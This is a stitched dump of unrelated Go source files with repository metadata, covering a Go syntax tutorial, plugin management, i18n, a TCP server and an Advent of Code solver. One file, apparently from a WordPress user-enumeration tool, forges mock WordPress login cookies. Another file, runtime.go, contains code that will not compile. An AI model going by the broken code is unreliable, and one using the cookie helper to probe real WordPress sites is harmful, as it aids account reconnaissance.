package main import ( "fmt" "unsafe" ) func Hello(name string) string { return "Hello, world" + name } func main() { var a uint8 = 1 // 无符号整形 var b int32 = 1 // 4字节的整数 var c int = 1 // 根据系统是64或32位改变 fmt.Print(unsafe.Sizeof(a)) // 打印1 占用1字节 fmt.Print(unsafe.Sizeof(b)) // 打印4 fmt.Print(unsafe.Sizeof(c)) // 打印8 如果是32位的话就打印4 var d float32 = 1 var e float64 = 1 // 浮点型float后面必须加数字 fmt.Print(unsafe.Sizeof(d)) // 4 fmt.Print(unsafe.Sizeof(e)) // 8 var f bool = false fmt.Print(unsafe.Sizeof(f)) // 1 var g byte = 1 var h rune = 1 // 基本等同于int32 fmt.Print(unsafe.Sizeof(g)) // 1 fmt.Print(unsafe.Sizeof(h)) // 4 var i string = "666" fmt.Print(unsafe.Sizeof(i)) // 16 // 派生类型 //Pointer // 指针类型 // 数组类型 // struct // 结构体 // chan // channel 类型 // func // 函数类型 // slice // 切片类型 // interface // 接口类型 // map // map 类型 // 类型0值 就是某个变量被声明后的默认类型 // 一般值类型默认值是0 布尔是false string是空字符串 // 可以对类型设置别名 type ding int32 // 给 int32 类型定义了一个别名叫 ding var j ding = 1 fmt.Println(j) // 数组类型 //var k name := [5] byte {'a', 'b', 'c', 'd', 'e'} // { 97 98 99 100 101 } fmt.Println(name) num := [4] int { 1,2,3 } // [ 1 2 3 0 ] fmt.Println(num) // 单个变量的声明 // var <变量名称> [变量类型] // <变量名称> = <值, 表达式, 函数等> // 或 var <变量名称> [变量类型] = <值, 表达式, 函数等> // 分组声明格式 //var ( // a int // b float32 // c string //) // 同时声明多个 // var a, b, c int = 1, 2, 3 或 a, b := 1,2 // var a, b, c = 1, 2, 3 不写类型go会自动推断 // a, b, c := 1, 2, 3 这样可以不写 var // 冒号的这种写法 只能用在函数的局部变量中 不能用在全局 // 全局变量必须加 var 局部变量可以省略 var // go 是强数据类型 不存在隐式转换 并且只能在兼容类型互相转换 // 类型转换格式 <变量名称> [:]= <目标类型>(<需要转换的变量>) // 冒号可有可无 // var a int = 3 var b float32 = 6.6 c := float32(a) // 变量的可见性 // 大写字母开头的变量可以到处 其他包课件 // 小写开头的就是不可导出的私有变量 // 引用其他包 // import ( // "xxx/yyy/packageName" // ) // packageName.变量名 // 定义常量 // const 常量名 [type] = value type 可以省略 无类型常量 // 常量只支持布尔 字符串 整数 和 浮点 // 可以通过 len 取size // const ding string = "牛逼" len(ding) // 6 因为采用utf8所以每个中文占3字节 // iota 是特殊常量 只能在常量中使用 // iota在遇到const的时候被重置为 0 // 在const中每新增一行常量声明 iota 会 +1 // 调制使用法 // 插队使用法 // 表达式隐式使用法 // 当行使用法 const aa = iota const bb = iota // 以上这俩如果直接打印都是 0 const ( cc = iota dd = iota // 这样打印的话 dd 就会变成 1 ) const ( ee = iota // 0 ff = iota // 1 _ // _ 下划线是个特殊变量 所有给 _ 的value都会被扔进垃圾桶 跳值 zz = 6.6 // 插队 gg = iota // 4 由于上面有个 _ 和 zz 所以这里直接变成 4 ) const ( kk = iota * 2 // 0 ll // 2 mm // 4 // ll 会自动继承 kk 的iota * 2 mm 又继承 ll 的iota * 2 ) var ding1 interface{} ding1 = 66 switch ding1.(type) { case int: fmt.Println("int") case string: fmt.Println("string") } ding2 := []string {"ding1", "ding2", "ding3"} for _, value := range ding2 { fmt.Println(value) } goto One fmt.Println("8888") One: fmt.Println("使用goto可以直接跳转到这里") fmt.Println(Hello("ding")) }
true
2e1bbed664d499153f6a18807a40559cf272add2
Go
shubham-boghara/awesomeProject
/for.go
UTF-8
281
3.46875
3
[]
no_license
[]
no_license
package main import "fmt" func superAdd(numbers ...int) int { total := 0 for _,number := range numbers { total = total + number } return total } func main() { result := superAdd(1,2,3,4,5,6) fmt.Println(result) for i := 0; i<10 ; i++ { fmt.Print(i) } }
true
aab7aa7fe7c7fd559f205b009d420d72bdd3da27
Go
x-tool/odm
/core/runtime.go
UTF-8
494
2.59375
3
[]
no_license
[]
no_license
package core import "runtime" type runtimeCall struct { filePath string line int inputValues []interface{} functionName string } func newRuntimeCall(values ...interface{}) (call *functionCall) { stackLayer := 2 // user use database method stack layer pcptr, filePath, line, ok := runtime.Caller(stackLayer) _func := runtim.FuncForPC(pcptr) return &functionCall{ filePath: filePath, line: line, inputValues: values, functionName: _func.Name(), } }
true
bd9ff14d4287a630015adc977d453c49b9616f29
Go
getporter/porter
/pkg/porter/plugins.go
UTF-8
6,523
2.625
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package porter import ( "context" "fmt" "os" "strings" "get.porter.sh/porter/pkg/encoding" "get.porter.sh/porter/pkg/pkgmgmt" "get.porter.sh/porter/pkg/plugins" "get.porter.sh/porter/pkg/printer" "get.porter.sh/porter/pkg/tracing" "github.com/olekukonko/tablewriter" "go.opentelemetry.io/otel/attribute" "go.uber.org/zap/zapcore" ) // PrintPluginsOptions represent options for the PrintPlugins function type PrintPluginsOptions struct { printer.PrintOptions } // ShowPluginOptions represent options for showing a particular plugin. type ShowPluginOptions struct { printer.PrintOptions Name string } func (o *ShowPluginOptions) Validate(args []string) error { err := o.validateName(args) if err != nil { return err } return o.ParseFormat() } // validateName grabs the name from the first positional argument. func (o *ShowPluginOptions) validateName(args []string) error { switch len(args) { case 0: return fmt.Errorf("no name was specified") case 1: o.Name = strings.ToLower(args[0]) return nil default: return fmt.Errorf("only one positional argument may be specified, the name, but multiple were received: %s", args) } } func (p *Porter) PrintPlugins(ctx context.Context, opts PrintPluginsOptions) error { installedPlugins, err := p.ListPlugins(ctx) if err != nil { return err } switch opts.Format { case printer.FormatPlaintext: printRow := func(v interface{}) []string { m, ok := v.(plugins.Metadata) if !ok { return nil } return []string{m.Name, m.VersionInfo.Version, m.VersionInfo.Author} } return printer.PrintTable(p.Out, installedPlugins, printRow, "Name", "Version", "Author") case printer.FormatJson: return printer.PrintJson(p.Out, installedPlugins) case printer.FormatYaml: return printer.PrintYaml(p.Out, installedPlugins) default: return fmt.Errorf("invalid format: %s", opts.Format) } } func (p *Porter) ListPlugins(ctx context.Context) ([]plugins.Metadata, error) { // List out what is installed on the file system names, err := p.Plugins.List() if err != nil { return nil, err } // Query each plugin and fill out their metadata, handle the // cast from the PackageMetadata interface to the concrete type installedPlugins := make([]plugins.Metadata, len(names)) for i, name := range names { plugin, err := p.Plugins.GetMetadata(ctx, name) if err != nil { fmt.Fprintf(os.Stderr, "could not get version from plugin %s: %s\n ", name, err.Error()) continue } meta, _ := plugin.(*plugins.Metadata) installedPlugins[i] = *meta } return installedPlugins, nil } func (p *Porter) ShowPlugin(ctx context.Context, opts ShowPluginOptions) error { plugin, err := p.GetPlugin(ctx, opts.Name) if err != nil { return err } switch opts.Format { case printer.FormatPlaintext: // Build and configure our tablewriter // TODO: make this a function and reuse it in printer/table.go table := tablewriter.NewWriter(p.Out) table.SetCenterSeparator("") table.SetColumnSeparator("") table.SetAlignment(tablewriter.ALIGN_LEFT) table.SetHeaderAlignment(tablewriter.ALIGN_LEFT) table.SetBorders(tablewriter.Border{Left: false, Right: false, Bottom: false, Top: true}) table.SetAutoFormatHeaders(false) // First, print the plugin metadata fmt.Fprintf(p.Out, "Name: %s\n", plugin.Name) fmt.Fprintf(p.Out, "Version: %s\n", plugin.Version) fmt.Fprintf(p.Out, "Commit: %s\n", plugin.Commit) fmt.Fprintf(p.Out, "Author: %s\n\n", plugin.Author) table.SetHeader([]string{"Type", "Implementation"}) for _, row := range plugin.Implementations { table.Append([]string{row.Type, row.Name}) } table.Render() return nil case printer.FormatJson: return printer.PrintJson(p.Out, plugin) case printer.FormatYaml: return printer.PrintYaml(p.Out, plugin) default: return fmt.Errorf("invalid format: %s", opts.Format) } } func (p *Porter) GetPlugin(ctx context.Context, name string) (*plugins.Metadata, error) { meta, err := p.Plugins.GetMetadata(ctx, name) if err != nil { return nil, err } plugin, ok := meta.(*plugins.Metadata) if !ok { return nil, fmt.Errorf("could not cast plugin %s to plugins.Metadata", name) } return plugin, nil } func (p *Porter) InstallPlugin(ctx context.Context, opts plugins.InstallOptions) error { ctx, log := tracing.StartSpan(ctx) defer log.EndSpan() installOpts, err := p.getPluginInstallOptions(ctx, opts) if err != nil { return err } for _, opt := range installOpts { err := p.Plugins.Install(ctx, opt) if err != nil { return err } plugin, err := p.Plugins.GetMetadata(ctx, opt.Name) if err != nil { return fmt.Errorf("failed to get plugin metadata: %w", err) } v := plugin.GetVersionInfo() fmt.Fprintf(p.Out, "installed %s plugin %s (%s)\n", opt.Name, v.Version, v.Commit) } return nil } func (p *Porter) UninstallPlugin(ctx context.Context, opts pkgmgmt.UninstallOptions) error { err := p.Plugins.Uninstall(ctx, opts) if err != nil { return err } fmt.Fprintf(p.Out, "Uninstalled %s plugin", opts.Name) return nil } func (p *Porter) getPluginInstallOptions(ctx context.Context, opts plugins.InstallOptions) ([]pkgmgmt.InstallOptions, error) { _, log := tracing.StartSpan(ctx) defer log.EndSpan() var installConfigs []pkgmgmt.InstallOptions if opts.File != "" { var data plugins.InstallPluginsSpec if log.ShouldLog(zapcore.DebugLevel) { // ignoring any error here, printing debug info isn't critical contents, _ := p.FileSystem.ReadFile(opts.File) log.Debug("read input file", attribute.String("contents", string(contents))) } if err := encoding.UnmarshalFile(p.FileSystem, opts.File, &data); err != nil { return nil, fmt.Errorf("unable to parse %s as an installation document: %w", opts.File, err) } if err := data.Validate(); err != nil { return nil, err } sortedCfgs := plugins.NewInstallPluginConfigs(data.Plugins) for _, config := range sortedCfgs.Values() { // if user specified a feed url or mirror using the flags, it will become // the default value and apply to empty values parsed from the provided file if config.FeedURL == "" { config.FeedURL = opts.FeedURL } if config.Mirror == "" { config.Mirror = opts.Mirror } if err := config.Validate([]string{config.Name}); err != nil { return nil, err } installConfigs = append(installConfigs, config) } return installConfigs, nil } installConfigs = append(installConfigs, opts.InstallOptions) return installConfigs, nil }
true
e8d2f2eeaf8d8d15df365d0b6bbfc57844f7ff04
Go
kristofferingemansson/aoc-2016
/17a/main.go
UTF-8
1,708
3.5
4
[]
no_license
[]
no_license
package main import ( "fmt" "crypto/md5" ) const ( PASSCODE = "bwnlcvfs" ) type Pos struct { x int y int } type Path struct { trail string steps int pos Pos } func main() { fmt.Println(PASSCODE) start := Pos{0, 0} target := Pos{3, 3} paths := []Path{ {pos: start}, } for i := 0; i < 1000; i++ { PrintPaths(paths) newpaths := []Path{} for _, path := range paths { for _, m := range path.NextMoves() { next := path.Move(m) if next.pos == target { fmt.Println("Target found!", next) return } newpaths = append(newpaths, next) } } if len(newpaths) == 0 { fmt.Println("No more moves") break } paths = newpaths } } func (p *Path) Move(dir string) (Path) { pos := p.pos switch dir { case "U": pos.y-- case "D": pos.y++ case "L": pos.x-- case "R": pos.x++ } r := *p r.steps++ r.trail += dir r.pos = pos return r } func (p *Path) NextMoves() []string { moves := [4]string{} hash := p.CalcHash() a := 0 for i, x := range hash { if x > 'a' { switch i { case 0: if p.pos.y > 0 { moves[a] = "U" a++ } case 1: if p.pos.y < 3 { moves[a] = "D" a++ } case 2: if p.pos.x > 0 { moves[a] = "L" a++ } case 3: if p.pos.x < 3 { moves[a] = "R" a++ } } } } return moves[:a] } func (p *Path) CalcHash() string { hash := md5.Sum([]byte(PASSCODE + p.trail[:p.steps])) return fmt.Sprintf("%x", hash)[:4] } func PrintPaths(paths []Path) { fmt.Println("---------------------") for _, path := range paths { fmt.Print("Steps: ", path.steps, "[") for _, x := range path.trail { fmt.Print(string(x)) } fmt.Print("]\n") } }
true
608c83c4f33742173591d0e0fe69a9db66bd8cf9
Go
vladislavbailovic/wp-user-enum
/pkg/http/cookie.go
UTF-8
1,149
2.953125
3
[]
no_license
[]
no_license
package http import ( "fmt" "net/http" "strings" ) type CookieType string const ( COOKIE_WP_TEST CookieType = "wordpress_test_cookie" COOKIE_WP_GENERIC CookieType = "wordpress" COOKIE_WP_LOGGED_IN CookieType = "wordpress_logged_in" COOKIE_WP_SEC CookieType = "wordpress_sec" ) type CookieStore struct { store []*http.Cookie } type WPCookie struct { hash string } func (wpc WPCookie) Get(prefix CookieType, rawValue ...string) *http.Cookie { var value string name := fmt.Sprintf("%s_%s", string(prefix), wpc.hash) if len(rawValue) == 1 { value = rawValue[0] } if COOKIE_WP_TEST == prefix { name = string(COOKIE_WP_TEST) value = "WP Cookie check" } return &http.Cookie{Name: name, Value: value} } func addClientCookies(client Client, cookies []*http.Cookie) { for _, cookie := range cookies { client.AddCookie(cookie) } } func AddMockWPCookies(client Client) { wpc := WPCookie{strings.Repeat("d3adb3af", 4)} mocks := []*http.Cookie{ wpc.Get(COOKIE_WP_TEST), wpc.Get(COOKIE_WP_GENERIC), wpc.Get(COOKIE_WP_LOGGED_IN, "mock"), wpc.Get(COOKIE_WP_SEC, "mock"), } addClientCookies(client, mocks) }
true
4628b491c1216704657ae26c088c35bcab72cf21
Go
yusank/leetcode
/all/58.最后一个单词的长度.go
UTF-8
430
3.40625
3
[]
no_license
[]
no_license
/* * @lc app=leetcode.cn id=58 lang=golang * * [58] 最后一个单词的长度 */ package main import "log" func main() { t := "Today is a nice day " log.Println(lengthOfLastWord(t)) } // @lc code=start func lengthOfLastWord(s string) int { var ( c int ) for i := len(s)-1; i >= 0; i-- { if s[i] != ' ' { c++ continue } // 如果为空 if c != 0 { break } } return c } // @lc code=end
true
c89cf7a0b9c8671be50f256c5c790f6c062d737f
Go
volatile/i18n
/doc.go
UTF-8
2,625
3.234375
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
/* Package i18n is a handler and helper for the core (https://godoc.org/github.com/volatile/core). It provides internationalization functions following the client preferences. Set translations A translation is associated to a key, which is associated to a language tag, which is part of Locales map. All translations can be stored like this: var locales = i18n.Locales{ language.English: { "decimalMark": ".", "thousandsMark": ",", "hello": "Hello %s,", "how": "How are you?", "basementZero": "All the money hidden in your basement has been spent.", "basementOne": "A single dollar remains in your basement.", "basementOther": "You have " + i18n.TnPlaceholder + " bucks in your basement.", }, language.French: { "decimalMark": ",", "thousandsMark": " ", "hello": "Bonjour %s,", "how": "Comment allez-vous?", "basementZero": "Tout l'argent caché dans votre sous-sol a été dépensé.", "basementOne": "Un seul dollar se trouve dans votre sous-sol.", "basementOther": "Vous avez " + i18n.TnPlaceholder + " briques dans votre sous-sol.", }, } decimalMark and thousandsMark are special keys that define the digits separators for decimals and thousands when using Tn or Fmtn. With these translations, you need to Init this package (the second argument is the default locale): i18n.Init(locales, language.English) Detect client locale When a client makes a request, the best locale must be matched to his preferences. To achieve this, you need to Use the handler with one or more matchers: i18n.Use(i18n.MatcherFormValue, i18n.MatcherAcceptLanguageHeader) The client locale is set as soon as a matcher is confident. A matcher is a function that returns the locale parsed from core.Context with its level of confidence. These ones are actually available: MatcherAcceptLanguageHeader and MatcherFormValue. Use translations A translation can be accessed with T, receiving the core.Context (which contains the matched locale), the translation key, and optional arguments (if the translation contains formatting verbs): i18n.T(c, "hello", "Walter White") i18n.T(c, "how") If a translation has pluralized forms, you can use Tn and the most appropriate form will be used according to the quantity: i18n.Tn(c, "basement", 333000.333) will result in "You have 333,000.333 bucks in your basement.". If you use templates, TemplatesFuncs provides a map of all usable functions. Example with package response (https://godoc.org/github.com/volatile/response) package: response.TemplatesFuncs(i18n.TemplatesFuncs) */ package i18n
true
1ab361df1bdc6270e94538eddd87b08b2632f4c7
Go
josephtseng-echo/go-tcp-server-todo-access
/src/common/service/service.go
UTF-8
909
2.671875
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package service import ( "net" "strconv" ) type AcceptArgs struct { Service *Service TcpConn *net.TCPConn Fd uint64 Error chan int ClientIp string Packet chan []byte //默认的数据包 ICPacket chan []byte //IC数据包 ESPacket chan []byte //ES数据包 QEPacket chan []byte //QE数据包 RPCPacket chan []byte //RPC数据包 Ext Ext } type Service struct { ip string port int onAccept func(*AcceptArgs) tcpListener *net.TCPListener } func ListenTCP(ip string, port int) (TcpServer, error) { address := ip address += ":" address += strconv.Itoa(port) var err error var addr *net.TCPAddr var listener *net.TCPListener addr, err = net.ResolveTCPAddr("tcp", address) if nil != err { return nil, err } listener, err = net.ListenTCP("tcp", addr) if err != nil { return nil, err } server := NewTcpServer(ip, port, listener) return server, nil }
true
fdcaf0230bcbb8d715350d1d871c3c6278681639
Go
dp-ny/words
/words/spelling.go
UTF-8
585
3.296875
3
[]
no_license
[]
no_license
package words import aspell "github.com/trustmaster/go-aspell" // Speller is a spell checker type Speller struct { s aspell.Speller } // NewSpeller creates a new speller for checking words func NewSpeller() (*Speller, error) { s, err := getSpellerForLang("en_US") if err != nil { return nil, err } return &Speller{s}, nil } // Check returns true if word is spelled correctly func (s Speller) Check(word string) bool { return s.s.Check(word) } func getSpellerForLang(lang string) (aspell.Speller, error) { return aspell.NewSpeller(map[string]string{ "lang": lang, }) }
true
c261a3e3715ba5d28ba8d3f35cb43e019bd19780
Go
aws/aws-sam-cli-app-templates
/al2/go/event-bridge/{{cookiecutter.project_name}}/hello-world/main_test.go
UTF-8
1,036
2.65625
3
[ "MIT", "Apache-2.0" ]
permissive
[ "MIT", "Apache-2.0" ]
permissive
package main import ( "fmt" "github.com/stretchr/testify/assert" "io" "os" "testing" "{{ cookiecutter.project_name }}/hello-world/model/aws/ec2/marshaller" ) var ( PathToEventJsonFile = "../events/event.json" ) func TestHandler(t *testing.T) { jsonFile, err := os.Open(PathToEventJsonFile) if err != nil { t.Fatal("Unable to open event.json") } fmt.Println("Successfully Opened event.json") defer jsonFile.Close() jsonStream, _ := io.ReadAll(jsonFile) awsEvent, _ := marshaller.UnmarshalEvent(jsonStream) t.Run("Successful Request", func(t *testing.T) { responseStream, err := handler(nil, awsEvent) if err != nil { t.Fatal("Everything should be ok") } responseEvent, _ := marshaller.UnmarshalEvent(responseStream) responseEc2Notification := responseEvent.Detail assert.NotEmpty(t, responseEvent) assert.Equal(t, responseEvent.DetailType, "HelloWorldFunction updated event of EC2 Instance State-change Notification") assert.Equal(t, responseEc2Notification.InstanceId, "i-abcd1111") }) }
true
9000d7ef88f8c91bc09247ee9180536e52191114
Go
Diaverse/Hardware
/test/server_test.go
UTF-8
2,069
2.578125
3
[]
no_license
[]
no_license
package test import ( controller "../controller" "fmt" "io/ioutil" "net/http" "net/http/httptest" "testing" ) func TestIndex(t *testing.T) { req, err := http.NewRequest(http.MethodGet, "/", nil) if err != nil { t.FailNow() } requestRecorder := httptest.NewRecorder() webpageHandler := http.HandlerFunc(controller.ServeWebpage) webpageHandler.ServeHTTP(requestRecorder, req) status := requestRecorder.Code if status != http.StatusOK { t.FailNow() } resp := requestRecorder.Result() c, _ := ioutil.ReadAll(resp.Body) defer resp.Body.Close() t.Log(string(c)) } func TestDashboard(t *testing.T) { req, err := http.NewRequest(http.MethodGet, "/", nil) if err != nil { t.FailNow() } req.ParseForm() req.Form.Set("loginUsr", "harrison") req.Form.Set("loginPass", "token1") reqRecorder := httptest.NewRecorder() webpageHandler := http.HandlerFunc(controller.ServeWebpage) webpageHandler.ServeHTTP(reqRecorder, req) status := reqRecorder.Code if status != http.StatusOK { t.FailNow() } else { resp := reqRecorder.Result() c, _ := ioutil.ReadAll(resp.Body) defer resp.Body.Close() t.Log(string(c)) } } func TestUsersPage(t *testing.T) { req, err := http.NewRequest(http.MethodPost, "/", nil) if err != nil { t.FailNow() } req.ParseForm() req.Form.Set("loginUsr", "harrison") req.Form.Set("loginPass", "token1") reqRecorder := httptest.NewRecorder() webpageHandler := http.HandlerFunc(controller.ServeWebpage) webpageHandler.ServeHTTP(reqRecorder, req) status := reqRecorder.Code if status != http.StatusOK { t.FailNow() } else { usersPageHandler := http.HandlerFunc(controller.ServeUsersWebPage) usersPageHandler.ServeHTTP(reqRecorder, req) fmt.Println(reqRecorder.Code) resp := reqRecorder.Result() c, _ := ioutil.ReadAll(resp.Body) defer resp.Body.Close() t.Log(string(c)) } } func TestCheckForFile(t *testing.T) { //if service.CheckForFile("test/server_test.go") == false { // log.Println("Utility function TestCheckForFile has failed its unit test.") // t.FailNow() //} }
true
e930f401c06c12fda0a7197e989d3455e4804c37
Go
influx6/haiku-deprecated
/views/helpers.go
UTF-8
1,108
3.546875
4
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package views import ( "bytes" "html/template" ) // TemplateRenderable defines a basic example of a Renderable type TemplateRenderable struct { tmpl *template.Template cache *bytes.Buffer } // NewTemplateRenderable returns a new Renderable func NewTemplateRenderable(content string) (*TemplateRenderable, error) { tl, err := template.New("").Parse(content) if err != nil { return nil, err } tr := TemplateRenderable{ tmpl: tl, cache: bytes.NewBuffer([]byte{}), } return &tr, nil } // Execute effects the inner template with the supplied data func (t *TemplateRenderable) Execute(v interface{}) error { t.cache.Reset() err := t.tmpl.Execute(t.cache, v) return err } // Render renders out the internal cache func (t *TemplateRenderable) Render(_ ...string) string { return string(t.cache.Bytes()) } // RenderHTML renders the output from .Render() as safe html unescaped func (t *TemplateRenderable) RenderHTML(_ ...string) template.HTML { return template.HTML(t.Render()) } // String calls the render function func (t *TemplateRenderable) String() string { return t.Render() }
true
5c6b0923e5a010ba009a605c1618f817c021e0d9
Go
ratanphayade/impostor
/rule.go
UTF-8
645
2.8125
3
[]
no_license
[]
no_license
package main import ( "log" "regexp" ) const ( TargetResource = "resource" TargetParams = "params" TargetHeader = "header" TargetBody = "body" ) type Rule struct { Target string `json:"target"` Modifier string `json:"modifier"` Value string `json:"value"` IsRegex bool `json:"is_regex"` } func (rule Rule) match(d collector) bool { val := rule.getValue(d) if rule.IsRegex { exp, err := regexp.Compile(rule.Value) if err != nil { log.Fatal(err) } return exp.Match([]byte(val)) } return val == rule.Value } func (rule Rule) getValue(d collector) string { return d.get(rule.Target, rule.Modifier) }
true
8a712ee21d986fdde1ea119272ffa59638da70b5
Go
jonseymour/12coins
/lib/solution.go
UTF-8
6,281
3.125
3
[]
no_license
[]
no_license
package lib import ( "fmt" ) type flag uint16 const ( INVALID flag = 0 REVERSED = 1 << 1 GROUPED = 1 << 2 ANALYSED = 1 << 3 RELABLED = 1 << 4 NORMALISED = 1 << 5 NUMBERED = 1 << 6 CANONICALISED = 1 << 7 RECURSE = 1 << 8 ) // Describes a test failure. A test failure is an instance of a coin and weight such that the // results of the weighings for that coin and weight are indistiguishable from some other coin // and weight. type Failure struct { Coin int `json:"coin"` Weight Weight `json:"weight"` } // Describes a possibly invalid solution to the 12 coins problem. type Solution struct { encoding Weighings [3]Weighing `json:"-"` Coins []int `json:"coins,omitempty"` // a mapping between abs(9*a+3*b+c-13)-1 and the coin identity Weights []Weight `json:"weights,omitempty"` // a mapping between sgn(9*a+3*b+c-13)-1 and the coin weight Unique CoinSet `json:"-"` // the coins that appear in one weighing Pairs [3]CoinSet `json:"-"` // the pairs that appear in exactly two weighings Triples CoinSet `json:"-"` // the coins that appear in all 3 weighings Failures []Failure `json:"failures,omitempty"` // a list of tests for which the solution is ambiguous Structure [3]Structure `json:"-"` // the structure of the permutation flags flag // indicates that invariants are true order [3]int // permutation that maps from canonical order to this order flips Flips // permutation that flips from canonical order to this order } // Decide the relative weight of a coin by generating a linear combination of the three weighings and using // this to index the array. func (s *Solution) decide(scale Scale) (int, Weight, int) { z := s.GetZeroCoin() scale.SetZeroCoin(z) results := [3]Weight{} results[0] = scale.Weigh(s.Weighings[0].Left().AsCoins(z), s.Weighings[0].Right().AsCoins(z)) results[1] = scale.Weigh(s.Weighings[1].Left().AsCoins(z), s.Weighings[1].Right().AsCoins(z)) results[2] = scale.Weigh(s.Weighings[2].Left().AsCoins(z), s.Weighings[2].Right().AsCoins(z)) if s.encoding.Flip != nil { results[*s.encoding.Flip] = Heavy - results[*s.encoding.Flip] } a := results[0] b := results[1] c := results[2] i := int(a*9 + b*3 + c - 13) // must be between 0 and 26, inclusive. o := abs(i) if len(s.Coins) == 12 { if o < 1 || o > 12 { // this can only happen if flip hasn't be set correctly. panic(fmt.Errorf("index out of bounds: %d, %v", o, []Weight{a, b, c})) } o = o - 1 } else { o = i + 13 } f := s.Coins[o] w := s.Weights[o] if i > 0 { w = Heavy - w } return f, w, o } // The internal reset is used to reset the analysis of the receiver but // does not undo the reversed state. func (s *Solution) reset() { s.Unique = nil s.Triples = nil s.Pairs = [3]CoinSet{nil, nil, nil} s.Structure = [3]Structure{nil, nil, nil} s.encoding = encoding{ ZeroCoin: s.encoding.ZeroCoin, Flip: s.encoding.Flip, } s.flags = s.flags &^ (GROUPED | ANALYSED | CANONICALISED) } // The external reset creates a new clone in which only the weighings // are preserved. func (s *Solution) Reset() *Solution { r := s.Clone() r.reset() r.Coins = []int{} r.Weights = []Weight{} r.flags = INVALID r.encoding.Flip = nil return r } func (s *Solution) markInvalid() { s.flags = INVALID | (s.flags & RECURSE) } // Invoke the internal decide method to decide which coin // is counterfeit and what it's relative weight is. func (s *Solution) Decide(scale Scale) (int, Weight) { if s.flags&REVERSED == 0 { panic(fmt.Errorf("This solution must be reversed first.")) } f, w, _ := s.decide(scale) return f, w } // Configure the zero coin of the solution. func (s *Solution) SetZeroCoin(coin int) { if coin == ONE_BASED { s.encoding.ZeroCoin = nil } else { s.encoding.ZeroCoin = pi(coin) } } func (s *Solution) GetZeroCoin() int { if s.encoding.ZeroCoin == nil { return 1 } else { return *s.encoding.ZeroCoin } } // Create a deep clone of the receiver. func (s *Solution) Clone() *Solution { tmp := s.encoding.Flip if tmp != nil { tmp = pi(*tmp) } clone := Solution{ encoding: encoding{ ZeroCoin: s.encoding.ZeroCoin, Flip: s.encoding.Flip, }, Weighings: [3]Weighing{}, Coins: make([]int, len(s.Coins)), Weights: make([]Weight, len(s.Weights)), Unique: s.Unique, Triples: s.Triples, Failures: make([]Failure, len(s.Failures)), flags: s.flags, order: s.order, flips: s.flips, } copy(clone.Pairs[0:], s.Pairs[0:]) copy(clone.Weighings[0:], s.Weighings[0:]) copy(clone.Coins[0:], s.Coins[0:]) copy(clone.Weights[0:], s.Weights[0:]) copy(clone.Failures[0:], s.Failures[0:]) copy(clone.Structure[0:], s.Structure[0:]) return &clone } // Sort the coins in each weighing in increasing numerical order. func (s *Solution) Normalize() *Solution { clone := s.Clone() for i, _ := range clone.Weighings { clone.Weighings[i] = NewWeighing(clone.Weighings[i].Pan(0).Sort(), clone.Weighings[i].Pan(1).Sort()) } clone.flags |= NORMALISED &^ (CANONICALISED) return clone } // Returns a new solution such that the LLL weighing is always invalid. func (s *Solution) Flip() (*Solution, error) { var r *Solution if s.flags&REVERSED == 0 { var err error if r, err = s.Reverse(); err != nil { return r, err } } else { r = s.Clone() } r.reset() if r.encoding.Flip != nil { w := r.Weighings[*r.encoding.Flip] r.Weighings[*r.encoding.Flip] = NewWeighing(w.Right(), w.Left()) r.encoding.Flip = nil r.markInvalid() return r.Reverse() } return r, nil } // Answer true if the solution is a valid solution. This will be true if it could // be successfully reversed, false otherwise. func (s *Solution) IsValid() bool { if s.flags&REVERSED == 0 { c, err := s.Reverse() return err == nil && c.flags&REVERSED != 0 } else { return true } } func (s *Solution) N() (uint, error) { if s, err := s.AnalyseStructure(); err != nil { return 0, err } else if s.encoding.N != nil { return *s.encoding.N, nil } else { return 0, fmt.Errorf("getN: failed to derive N") } }
true
37960bc979d4aafa335c2cfbddd89614f7e297fa
Go
gamesserver/GopherGameServer
/rooms/messages.go
UTF-8
4,795
2.90625
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package rooms import ( "errors" "github.com/hewiefreeman/GopherGameServer/helpers" ) // These represent the types of room messages the server sends. const ( MessageTypeChat = iota MessageTypeServer ) // These are the sub-types that a MessageTypeServer will come with. Ordered by their visible priority for your UI. const ( ServerMessageGame = iota ServerMessageNotice ServerMessageImportant ) /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // CHAT MESSAGES ////////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // ChatMessage sends a chat message to all Users in the Room. func (r *Room) ChatMessage(author string, message interface{}) error { //REJECT INCORRECT INPUT if len(author) == 0 { return errors.New("*Room.ChatMessage() requires an author") } else if message == nil { return errors.New("*Room.ChatMessage() requires a message") } return r.sendMessage(MessageTypeChat, 0, nil, author, message) } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // SERVER MESSAGES //////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // ServerMessage sends a server message to the specified recipients in the Room. The parameter recipients can be nil or an empty slice // of string. In which case, the server message will be sent to all Users in the Room. func (r *Room) ServerMessage(message interface{}, messageType int, recipients []string) error { if message == nil { return errors.New("*Room.ServerMessage() requires a message") } return r.sendMessage(MessageTypeServer, messageType, recipients, "", message) } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // DATA MESSAGES ////////////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // DataMessage sends a data message to the specified recipients in the Room. The parameter recipients can be nil or an empty slice // of string. In which case, the data message will be sent to all Users in the Room. func (r *Room) DataMessage(message interface{}, recipients []string) error { //GET USER MAP userMap, err := r.GetUserMap() if err != nil { return err } //CONSTRUCT MESSAGE theMessage := make(map[string]interface{}) theMessage[helpers.ServerActionDataMessage] = message //SEND MESSAGE TO USERS if recipients == nil || len(recipients) == 0 { for _, u := range userMap { u.mux.Lock() for _, conn := range u.conns { (*conn).socket.WriteJSON(theMessage) } u.mux.Unlock() } } else { for i := 0; i < len(recipients); i++ { if u, ok := userMap[recipients[i]]; ok { u.mux.Lock() for _, conn := range u.conns { (*conn).socket.WriteJSON(theMessage) } u.mux.Unlock() } } } // return nil } /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // SENDING MESSAGES /////////////////////////////////////////////////////////////////////////////////////////// 